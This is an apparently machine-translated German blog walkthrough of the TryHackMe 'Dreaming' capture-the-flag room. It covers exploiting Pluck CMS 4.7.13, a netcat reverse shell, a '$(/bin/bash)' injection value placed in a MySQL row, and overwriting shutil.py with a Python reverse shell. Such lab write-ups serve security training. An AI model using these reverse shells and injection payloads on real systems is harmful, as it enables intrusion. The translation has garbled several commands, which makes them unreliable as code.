Wir haben abgedeckt TryHackMe Träumen Herausforderung, bei der wir Penetrationstestkonzepte demonstrierten, wie z. B. das Ausnutzen einer anfälligen Version von Pluck CMS, um eine Reverse Shell zu erhalten. Dann begannen wir mit dem Prozess der horizontalen Linux-Berechtigungseskalation. Wir wechselten zwischen verschiedenen Benutzern mit wechselnden Berechtigungen wie www-data, lucien, death und morpheus. Durch eine Kombination aus schwachen Dateiberechtigungen, falsch zugewiesenen Berechtigungen und fest codierten Anmeldeinformationen konnten wir die Berechtigungen auf den Benutzer mit den höchsten Berechtigungen, Morpheus, erhöhen und die Herausforderung abschließen.

OSCP-Notizen abrufen

Der komplette praktische Kurs zum Penetrationstest von Webanwendungen

Video-Highlights

Wie Sie sehen können, beginnen wir als Erstes mit dem Nmap-Scan, der zwei offene Ports anzeigt, nämlich 22 und 80.
Wir beginnen mit der Webseite auf Port 80 und es handelt sich um die Standard-Apache-Seite, die uns dazu veranlasst, Gobuster zu verwenden, um das Verzeichnis /app anzuzeigen.
Der Pfad wird also angezeigt, da Sie die App direkt sehen können, zusammen mit der auf dem Webserver verwendeten Technologie, nämlich Pluck CMS in der Version 4.7.13. Die Version ist durch die Technologie der Software vorgegeben, sodass Sie mit Searchsploit nach einem passenden Exploit suchen müssen. Der Exploit erfordert einen authentifizierten Zugriff, den Sie erhalten, indem Sie auf den Link „admin“ klicken und „password“ als Kennwort verwenden, um sich beim Administrationsbereich von Pluck CMS anzumelden. Daher haben wir die Voraussetzungen, um den Exploit auszuführen und die Webshell hochzuladen.

Von der Webshell aus können wir die Netcat Reverse Shell verwenden: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.2.81.146 4547 >/tmp/f

Wir sehen also, dass wir zwei Python-Skripte haben unter /opt Eines ist getdreams.py und das andere ist test.py, das das Klartext-Passwort des Benutzers Lucien enthält.
Weiter mit sudo -l um die Berechtigungen des Benutzers anzuzeigen lucien um herauszufinden, dass Lucien das Folgende als Benutzer ausführen kann Tod

sudo -u death /user/lib/python3.8 /home/death/getDreams.py

GetDreams.py ist ein Python-Skript, um einige Operationen auf meinem SQL-Server auszuführen. Warum sollten wir uns also nicht bei meinem SQL-Server anmelden und herausfinden, was los ist? Richtig? Wie kann ich also in meinen SQL-Server schauen? Wir werfen einen Blick auf die Bash-History-Datei des Benutzers lucien:

Katze .bash_history Die Ausgabe zeigt den vollständigen Befehl zum Anmelden beim MySQL-Server.

Wenn wir uns bei meinem SQL Server anmelden, starten wir den Prozess der MySQL-Aufzählung. Zuerst zeigen wir die Datenbanken an. Wie Sie sehen, haben wir eine eindeutige Datenbank namens Bibliothek.

Datenbanken anzeigen;

Bibliothek nutzen;

wähle * aus Träumen;

INSERT INTO dreams (dreamer, dream) VALUES („Injektion“, „$(/bin/bash)“;

Wir wissen, dass Lucian das Python-Skript als sudo ausführen kann. Wenn Sie es also ausführen, haben wir Shell als Todesbenutzer.

Also von der www-Daten hinein Lucien und nun zum Morpheus Benutzer.
Wie man also Berechtigungen erhöht, sehen wir uns zunächst den Inhalt des Verzeichnisses an, das diesem Benutzer gehört. Ich sehe, dass es ein Skript namens restore.py gibt, das ein Python-Skript ist. Wenn wir uns das Python-Skript ansehen, sehen wir, dass es verwendet wird. shutil Modul in Python, um ein Backup durchzuführen. Ein kurzer Blick auf diese Datei in /usr/lib/python3.8/shutil.py zeigt, dass die Gruppe Tod kann diese Datei bearbeiten, also fügen wir eine Python-Reverse-Shell ein, nachdem wir ihren Inhalt auf Null gesetzt haben, um die letzte Shell als Morpheus Benutzer.

echo “” > /usr/lib/python3.8/shutil.py

echo „Socket importieren, Unterprozess; s = Socket.Socket (Socket.AF_INET, Socket.SOCK_STREAM); s.connect ((„10.0.0.1“, 4242)); Unterprozess.call ([„/bin/sh“, „-i“], stdin = s.fileno (), stdout = s.fileno (), stderr = s.fileno ())“ > /usr/lib/python3.8/shutil.py

Raumantworten

Was ist die Lucien-Flagge?
Was ist die Death Flag?

Video-Komplettlösung

Über den Autor

Ich erstelle Notizen zur Cybersicherheit, Notizen zum digitalen Marketing und Online-Kurse. Ich biete auch Beratung zum digitalen Marketing an, einschließlich, aber nicht beschränkt auf SEO, Google- und Meta-Anzeigen und CRM-Verwaltung.

Artikel anzeigen